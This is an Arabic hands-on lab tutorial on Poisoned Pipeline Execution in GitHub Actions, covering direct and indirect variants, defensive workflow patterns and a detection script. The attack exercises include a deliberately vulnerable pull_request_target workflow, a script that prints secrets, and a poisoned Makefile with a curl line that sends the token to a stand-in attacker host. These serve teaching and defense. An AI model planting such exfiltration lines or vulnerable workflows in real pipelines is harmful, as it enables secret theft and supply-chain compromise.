نظرة عامة
يحتل Poisoned Pipeline Execution (PPE) المرتبة الثانية في قائمة OWASP CI/CD Security Top 10. وهو فئة من الهجمات حيث يتلاعب مهاجم خبيث بعملية البناء عن طريق حقن كود في تعريفات الـ pipeline أو سكربتات البناء، عادةً من خلال pull request. بمجرد أن يلتقط نظام CI التغيير، يتم تنفيذ كود المهاجم داخل بيئة البناء — مما قد يؤدي إلى تسريب الأسرار، أو التلاعب بالمخرجات، أو التحرك الجانبي نحو البنية التحتية الداخلية.
يأخذك هذا المختبر العملي عبر كل من Direct PPE و Indirect PPE في بيئة GitHub Actions آمنة ومعزولة. ستقوم بمحاكاة الهجمات بنفسك، ومراقبة النتائج، ثم تنفيذ أنماط الدفاع التي توقفها.
بنهاية هذا المختبر ستكون قادراً على:
- شرح متغيرات PPE الثلاثة وكيف تختلف عن بعضها.
- إثبات Direct PPE عبر
pull_request_targetو Indirect PPE عبر Makefile مسمم. - تنفيذ خمسة أنماط دفاعية لسير العمل تحيّد PPE.
- كتابة سكربت كشف أساسي للنشاط المشبوه في CI.
المتطلبات الأساسية
- حساب GitHub (الطبقة المجانية كافية).
- مستودعان اختباريان تملكهما — أحدهما يعمل كمستودع الـ pipeline الضحية، والآخر كـ fork المهاجم.
- إلمام أساسي بصيغة سير عمل GitHub Actions (
on:،jobs:،steps:). - طرفية مثبت عليها
gitوcurl.
إشعار أمان مهم
يجب تشغيل هذا المختبر في مستودعات اختبارية معزولة تملكها وتتحكم فيها. لا تختبر أبداً تقنيات Poisoned Pipeline Execution ضد pipelines الإنتاج الحقيقية، أو مستودعات المؤسسة المشتركة، أو مشاريع المصدر المفتوح التي لا تملكها. كل تمرين أدناه يستخدم مستودعات تنشئها خصيصاً لهذا المختبر. احذفها عند الانتهاء.
فهم Poisoned Pipeline Execution
يستغل PPE افتراض ثقة أساسي: نظام CI/CD يثق بالكود الذي يسحبه وينفذه. المهاجم الذي يمكنه التأثير على ما هو الكود الذي ينفذه الـ pipeline يمكنه اختطاف البناء. هناك ثلاثة متغيرات معترف بها:
Direct PPE (D-PPE)
يقوم المهاجم بتعديل ملف تعريف الـ pipeline مباشرة — على سبيل المثال، .github/workflows/build.yml. إذا قام نظام CI بتشغيل النسخة المعدلة من فرع الـ pull request، تُنفذ أوامر المهاجم التعسفية في بيئة CI.
Indirect PPE (I-PPE)
المهاجم لا يلمس ملف YAML الخاص بسير العمل. بدلاً من ذلك، يعدل الملفات التي يستهلكها الـ pipeline: Makefile، أو سكربت shell يستدعيه سير العمل، أو Dockerfile، أو ملف إعداد، أو حتى ملف تبعيات. يبقى تعريف الـ pipeline مطابقاً للفرع الأساسي، لكن منطق البناء تم تسميمه.
Public / Third-Party PPE (3P-PPE)
يستهدف المهاجم مستودعاً عاماً عن طريق عمل fork له وتقديم pull request. هذا هو المتجه الأكثر شيوعاً في العالم الحقيقي لأنه لا يتطلب أي وصول مسبق إلى المستودع المستهدف — فقط القدرة على فتح PR.
مخطط تدفق الهجوم
┌─────────────┐ ┌──────────────────┐ ┌────────────────┐
│ Attacker │ fork │ Victim Repo │ trigger│ CI/CD Runner │
│ (fork/PR) │────────►│ (base branch) │────────►│ (GitHub │
│ │ │ │ │ Actions) │
└──────┬───────┘ └──────────────────┘ └───────┬────────┘
│ │
│ 1. Modify workflow YAML (D-PPE) │
│ OR build scripts (I-PPE) │
│ 2. Open Pull Request │
│ │
│ 3. CI checks out PR code ◄─────────┘
│ 4. Executes attacker's payload
│ 5. Secrets / tokens exfiltrated
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ Impact: secret theft, artifact tampering, lateral movement │
└─────────────────────────────────────────────────────────────────────────┘
التمرين 1: Direct PPE — تعديل ملف سير العمل
في هذا التمرين سترى كيف تحمي GitHub Actions ضد أبسط أشكال D-PPE عند استخدام مُشغل pull_request.
الخطوة 1 — إنشاء مستودع الضحية
أنشئ مستودعاً عاماً جديداً باسم ppe-lab-victim. أضف ملف سير العمل التالي:
.github/workflows/build.yml
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build
run: |
echo "Building the project..."
echo "Build completed successfully."
أودع هذا في فرع main.
الخطوة 2 — عمل Fork وتسميم سير العمل (منظور المهاجم)
قم بعمل fork لـ ppe-lab-victim إلى حسابك الثاني على GitHub (أو استخدم نفس الحساب للتبسيط). في الـ fork، عدّل .github/workflows/build.yml:
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Exfiltrate environment variables
run: |
echo "=== EXFILTRATING ENVIRONMENT ==="
env | sort
echo "=== GITHUB_TOKEN ==="
echo "Token length: ${#GITHUB_TOKEN}"
الخطوة 3 — فتح Pull Request
من الـ fork، افتح PR ضد main في مستودع الضحية.
الخطوة 4 — مراقبة النتيجة
انتقل إلى تبويب Actions. سترى أن سير العمل الذي تم تنفيذه هو النسخة من الفرع الأساسي (main)، وليس النسخة المعدلة من المهاجم. خطوة “Exfiltrate environment variables” غير موجودة في سير العمل المنفذ.
هذه هي الحماية المدمجة في GitHub Actions لحدث pull_request: تستخدم دائماً ملف سير العمل من الفرع الأساسي، وليس فرع PR. تعديلات YAML الخاصة بالمهاجم يتم تجاهلها.
رؤية أساسية: مشغل
pull_requestآمن ضد Direct PPE لأن تعريف سير العمل يأتي من الفرع الأساسي. ومع ذلك، هذه الحماية لا تمتد إلى جميع المشغلات — كما سترى لاحقاً.
التمرين 2: المشغل الخطير pull_request_target
تم تقديم حدث pull_request_target للسماح لسير العمل بالتعليق على PRs، أو تصنيفها، أو تنفيذ إجراءات أخرى تتطلب صلاحيات الكتابة والوصول إلى الأسرار. يعمل في سياق الفرع الأساسي لكن يمكن تهيئته لسحب كود PR — وهنا يكمن الخطر.
الخطوة 1 — إنشاء سير عمل معرض للخطر
في مستودع ppe-lab-victim، أنشئ سير عمل جديداً:
.github/workflows/pr-check.yml
name: PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: Checkout PR code
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run tests
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
echo "Running tests on PR code..."
cat README.md
echo "Tests passed."
قبل المتابعة، اذهب إلى Settings → Secrets and variables → Actions في المستودع وأضف سراً باسم MY_SECRET بالقيمة super-secret-token-12345.
الخطوة 2 — استغلال الثغرة (منظور المهاجم)
في الـ fork، أنشئ ملف README.md (أو عدّل الملف الموجود) وأضف هذا في النهاية:
This is a normal README update.
الآن عدّل أيضاً .github/workflows/pr-check.yml في الـ fork. لكن انتظر — تذكر أن pull_request_target يشغل سير عمل الفرع الأساسي، لذا تعديل YAML في الـ fork لا يفعل شيئاً. يحتاج المهاجم إلى نهج مختلف.
بدلاً من ذلك، أنشئ سكربتاً خبيثاً في الـ fork:
test.sh
#!/bin/bash
echo "=== Environment Variables ==="
env | sort
echo "=== Secret Value ==="
echo "MY_SECRET=$MY_SECRET"
الآن حدّث سير عمل مستودع الضحية لاستدعاء هذا السكربت (محاكاة سير عمل ينفذ كوداً مسحوباً):
.github/workflows/pr-check.yml (محدّث على الفرع الأساسي):
name: PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: Checkout PR code
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run tests
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
echo "Running tests on PR code..."
chmod +x test.sh
./test.sh
الخطوة 3 — فتح PR والمراقبة
افتح PR من الـ fork. سير العمل يعمل من تعريف الفرع الأساسي لكنه يسحب كود المهاجم. السكربت الخبيث test.sh يُنفذ ويطبع قيمة السر.
تحقق من سجل Actions. سترى:
=== Environment Variables ===
GITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx
...
=== Secret Value ===
MY_SECRET=super-secret-token-12345
هذا هو Poisoned Pipeline Execution الكلاسيكي. تعريف سير العمل موثوق (الفرع الأساسي)، لكن الكود الذي ينفذه يتحكم فيه المهاجم (سحب فرع PR).
رؤية أساسية: مزيج
pull_request_target+actions/checkoutمعref: ${{ github.event.pull_request.head.sha }}+ تنفيذ كود مسحوب + أسرار في البيئة هو أخطر نمط PPE في GitHub Actions.
التمرين 3: Indirect PPE — تسميم سكربتات البناء
Indirect PPE أكثر دقة. المهاجم لا يلمس أبداً ملف YAML لسير العمل — بل يعدل الملفات التي يستهلكها الـ pipeline. هذا يتجاوز حماية مشغل pull_request المدمجة ضد تغييرات ملفات سير العمل.
الخطوة 1 — إنشاء مستودع ببناء قائم على Makefile
في مستودع ppe-lab-victim، أضف Makefile:
.PHONY: build test
build:
@echo "Compiling project..."
@echo "Build successful."
test:
@echo "Running unit tests..."
@echo "All tests passed."
حدّث سير العمل لاستخدام Makefile:
.github/workflows/build.yml
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build project
run: make build
- name: Run tests
run: make test
لاحظ أن هذا يستخدم مشغل pull_request الآمن. ملف YAML لسير العمل نفسه محمي.
الخطوة 2 — تسميم Makefile (منظور المهاجم)
في الـ fork، عدّل فقط Makefile (لا تلمس أي ملف سير عمل):
.PHONY: build test
build:
@echo "Compiling project..."
@echo "Build successful."
@echo "=== PPE: Dumping environment ==="
@env | sort
@echo "=== PPE: Exfiltrating token ==="
@curl -s http://attacker.example.com/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>/dev/null || echo none)
test:
@echo "Running unit tests..."
@echo "All tests passed."
الخطوة 3 — فتح PR والمراقبة
افتح PR من الـ fork. ملف سير العمل من الفرع الأساسي يعمل (آمن!)، لكن actions/checkout يسحب كود فرع PR، الذي يتضمن Makefile المسمم. عندما يستدعي سير العمل make build، ينفذ Makefile المعدل من المهاجم.
في سجل Actions سترى متغيرات البيئة مطبوعة. أمر curl سيفشل (النطاق غير موجود)، لكن في هجوم حقيقي سينجح.
رؤية أساسية: مشغل
pull_requestيحمي ملف YAML لسير العمل، لكنه لا يحمي محتوى المستودع الذي ينفذه سير العمل. أي ملف يشغله الـ pipeline أو يستورده أو يتضمنه هو متجه I-PPE محتمل:Makefile، سكربتاتpackage.json،Dockerfile،.eslintrc.js،pytest.ini، سكربتات shell، والمزيد.
التمرين 4: الدفاع — أنماط سير عمل آمنة
الآن بعد أن فهمت الهجوم، لننفذ الدفاعات.
النمط 1: عدم سحب PR Head أبداً في سير عمل pull_request_target
إذا كان يجب عليك استخدام pull_request_target، لا تسحب كود PR أبداً. اعمل فقط على البيانات الوصفية:
name: Label PR
on:
pull_request_target:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
# Safe: no checkout at all
- name: Add label
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
labels: ['needs-review']
});
القاعدة: إذا لم يكن سير عمل pull_request_target بحاجة إلى الكود المصدري لـ PR، فلا تسحبه.
النمط 2: استخدام مشغل pull_request وحجب الأسرار
للتحقق من PR، استخدم pull_request وتأكد من عدم تمرير أي أسرار للمهمة:
name: PR Validation
on:
pull_request:
branches: [main]
jobs:
validate:
runs-on: ubuntu-latest
# No secrets referenced anywhere in this job
steps:
- uses: actions/checkout@v4
- name: Lint
run: npm run lint
- name: Unit tests
run: npm test
حتى لو عدّل هجوم I-PPE سكربتات package.json، لن يحصل المهاجم على أي أسرار لأنها غير متوفرة.
النمط 3: فصل سير عمل التحقق والبناء
قسّم CI إلى مرحلتين — خطوة تحقق غير موثوقة وخطوة بناء موثوقة:
# .github/workflows/validate.yml — runs on PRs, no secrets
name: Validate
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: make lint
- run: make test-unit
# .github/workflows/build.yml — runs only on main, full secrets
name: Build and Deploy
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
run: make build
- name: Deploy
run: make deploy
الأسرار متاحة فقط في سير العمل المُشغل بواسطة push إلى main، مما يتطلب دمج PR أولاً (وبالتالي مراجعته والموافقة عليه).
النمط 4: تقليل نطاق Token باستخدام permissions
قيّد GITHUB_TOKEN التلقائي إلى الحد الأدنى:
name: PR Check
on:
pull_request:
branches: [main]
permissions: {} # No permissions at all
jobs:
check:
runs-on: ubuntu-latest
permissions:
contents: read # Only read access, nothing else
steps:
- uses: actions/checkout@v4
- run: make test
حتى لو سرّب المهاجم GITHUB_TOKEN، يمكنه فقط قراءة المحتوى العام — لا يمكنه دفع كود، أو إنشاء إصدارات، أو الوصول إلى الأسرار.
النمط 5: تثبيت السحب على الفرع الأساسي للعمليات الحساسة
إذا كان يجب عليك استخدام pull_request_target وتحتاج بعض سياق PR، اسحب الفرع الأساسي للخطوات الحساسة واستخدم فقط البيانات الوصفية لـ PR:
name: Secure PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
# Check out the BASE branch (trusted code)
- name: Checkout base branch
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.base.sha }}
- name: Run trusted build scripts
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
# These scripts come from the base branch, not the PR
./scripts/validate-pr.sh
القاعدة: الكود الموثوق (الفرع الأساسي) يتعامل مع الأسرار. الكود غير الموثوق (فرع PR) لا يلمسها أبداً.
التمرين 5: الدفاع — الحماية ضد Indirect PPE
يصعب الدفاع ضد I-PPE لأن المهاجم يعدل ملفات عادية، وليس تعريفات سير العمل. إليك التدابير المضادة الرئيسية.
CODEOWNERS للملفات الحرجة للبناء
أنشئ ملف CODEOWNERS يتطلب مراجعة فريق الأمان لأي تغييرات في سكربتات البناء:
# .github/CODEOWNERS
# Build infrastructure — require security team review
Makefile @myorg/security-team
Dockerfile @myorg/security-team
.github/workflows/ @myorg/security-team
scripts/ @myorg/security-team
package.json @myorg/security-team
*.sh @myorg/security-team
بالاقتران مع قواعد حماية الفروع التي تتطلب موافقة CODEOWNERS، يمنع هذا التغييرات غير المراجعة على الملفات الحرجة للبناء من الدمج.
طلب الموافقة قبل تشغيل CI على PRs الخارجية
اذهب إلى Settings → Actions → General في مستودعك وتحت “Fork pull request workflows from outside collaborators” اختر “Require approval for all outside collaborators”. هذا يضمن أن يوافق مشرف صراحة على تنفيذ CI لكل PR خارجي.
استخدام workflow_run للمعالجة الموثوقة بعد PR
حدث workflow_run يتيح لك تسلسل سير العمل: سير عمل آمن بدون أسرار لـ PR يعمل أولاً، وعند نجاحه فقط يعمل سير عمل موثوق بصلاحيات كاملة.
# .github/workflows/pr-validate.yml — untrusted, no secrets
name: PR Validate
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: make lint
- run: make test
# .github/workflows/pr-post-validate.yml — trusted, has secrets
name: PR Post-Validate
on:
workflow_run:
workflows: ["PR Validate"]
types: [completed]
permissions:
contents: read
pull-requests: write
statuses: write
jobs:
report:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# Check out the BASE branch — never the PR branch
- name: Checkout base
uses: actions/checkout@v4
- name: Post status comment
uses: actions/github-script@v7
with:
script: |
const runId = context.payload.workflow_run.id;
const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);
for (const prNumber of prNumbers) {
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: prNumber,
body: `Validation passed. Workflow run: ${runId}`
});
}
سير العمل الثاني يعمل في سياق الفرع الافتراضي، ولديه وصول إلى الأسرار، لكنه لا يسحب أبداً كود PR. هذا هو النمط الأكثر أماناً للمعالجة بعد PR التي تحتاج صلاحيات مرتفعة.
تشغيل الكود غير الموثوق في حاويات معزولة
إذا كان يجب عليك تنفيذ كود PR مع أي شكل من أشكال الوصول، شغّله في حاوية مقيدة:
jobs:
sandbox-test:
runs-on: ubuntu-latest
container:
image: alpine:3.19
options: --network none # No network access
steps:
- uses: actions/checkout@v4
- name: Run untrusted tests
run: |
# This runs inside a container with NO network
# Even if the Makefile tries to exfiltrate, it cannot reach the internet
apk add --no-cache make
make test
علم --network none يمنع أي اتصالات صادرة، مما يجعل التسريب مستحيلاً حتى لو نُفذ حمولة المهاجم.
التمرين 6: الكشف
الوقاية هي الأفضل، لكن الكشف يوفر دفاعاً بالعمق. إليك كيفية اكتشاف محاولات PPE.
مراقبة الأوامر المشبوهة في سجلات CI
أنشئ سكربت كشف يفحص ملفات سير العمل بحثاً عن مؤشرات خطر PPE الشائعة:
#!/bin/bash
# detect-ppe.sh — Scan workflow files for PPE risk indicators
WORKFLOW_DIR=".github/workflows"
EXIT_CODE=0
echo "=== PPE Risk Scanner ==="
echo ""
# Check 1: pull_request_target with checkout of PR head
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request_target" "$file"; then
if grep -q "github.event.pull_request.head" "$file"; then
echo "[CRITICAL] $file: pull_request_target + PR head checkout detected"
echo " This is the classic D-PPE vulnerability."
EXIT_CODE=1
fi
fi
done
# Check 2: Workflows that execute checked-out scripts
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -qE '\./.*.sh|make |npm run|yarn |python .*\.py' "$file"; then
if grep -q "pull_request" "$file"; then
echo "[WARNING] $file: PR workflow executes repo scripts (I-PPE risk)"
echo " Ensure no secrets are passed to this job."
fi
fi
done
# Check 3: Secrets used in PR workflows
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request" "$file"; then
if grep -q "\${{ secrets\." "$file"; then
echo "[HIGH] $file: Secrets referenced in PR workflow"
echo " Secrets should not be available in PR-triggered workflows."
EXIT_CODE=1
fi
fi
done
# Check 4: Overly broad permissions
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request" "$file"; then
if grep -q "permissions: write-all" "$file" || ! grep -q "permissions:" "$file"; then
echo "[MEDIUM] $file: PR workflow with broad or unset permissions"
echo " Add explicit 'permissions: {}' or minimal scopes."
fi
fi
done
echo ""
if [ $EXIT_CODE -eq 0 ]; then
echo "No critical PPE risks detected."
else
echo "Critical PPE risks found. Review the findings above."
fi
exit $EXIT_CODE
مراقبة سجل التدقيق في GitHub
لمراقبة على مستوى GitHub Enterprise أو المؤسسة، استخدم API سجل التدقيق لتتبع تغييرات سير العمل:
# Query audit log for workflow file modifications
gh api \
-H "Accept: application/vnd.github+json" \
/orgs/{org}/audit-log?phrase=action:workflows \
--paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'
مراجعة PR آلية لتغييرات ملفات البناء
أضف سير عمل يُنبه عند PRs التي تعدل ملفات البناء الحرجة:
name: Build File Change Alert
on:
pull_request:
paths:
- 'Makefile'
- 'Dockerfile'
- '**/*.sh'
- 'package.json'
- '.github/workflows/**'
jobs:
alert:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Comment warning
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: '⚠️ **Build File Change Detected**\n\nThis PR modifies build-critical files. A security team review is required before merging.\n\nModified paths trigger: Makefile, Dockerfile, shell scripts, package.json, or workflow files.'
});
التنظيف
بعد إكمال المختبر:
- احذف مستودع
ppe-lab-victim. - احذف المستودع المُستنسخ (fork).
- ألغِ أي personal access tokens أنشأتها للاختبار.
- أزل سر
MY_SECRETمن المستودع إذا كان لا يزال موجوداً.
لا تترك سير عمل اختبارية معرضة للخطر تعمل في أي مستودع تنوي الاحتفاظ به.
النقاط الرئيسية
- مشغل
pull_requestآمن ضد D-PPE لأنه يشغل سير العمل من الفرع الأساسي، وليس فرع PR. pull_request_target+ سحب PR head هو النمط الأخطر في GitHub Actions. يمنح كود المهاجم الوصول إلى الأسرار وصلاحيات الكتابة.- Indirect PPE يتجاوز الحمايات على مستوى سير العمل عن طريق تسميم الملفات التي ينفذها الـ pipeline (Makefiles، السكربتات، الإعدادات) بدلاً من سير العمل نفسه.
- افصل المراحل غير الموثوقة عن الموثوقة: شغّل التحقق من PR بدون أسرار، وامنح الأسرار فقط لسير العمل المُشغل بواسطة push إلى الفروع المحمية.
- الدفاع بالعمق ضروري: اجمع بين CODEOWNERS، ومتطلبات الموافقة، والصلاحيات الدنيا، والتنفيذ المعزول، وسكربتات الكشف.
- عامل كل ملف في PR كمدخل غير موثوق — ليس فقط YAML لسير العمل، بل كل سكربت وإعداد وملف تبعيات يلمسه الـ pipeline.
الخطوات التالية
واصل تعزيز معرفتك بأمان CI/CD مع هذه الأدلة ذات الصلة:
- نماذج تنفيذ CI/CD وافتراضات الثقة — فهم حدود الثقة وسياقات التنفيذ التي تجعل PPE ممكناً.
- أنماط الدفاع والتخفيف لهجمات CI/CD Pipeline — كتالوج شامل للأنماط الدفاعية يتجاوز PPE، ويغطي قائمة OWASP CI/CD Top 10 بالكامل.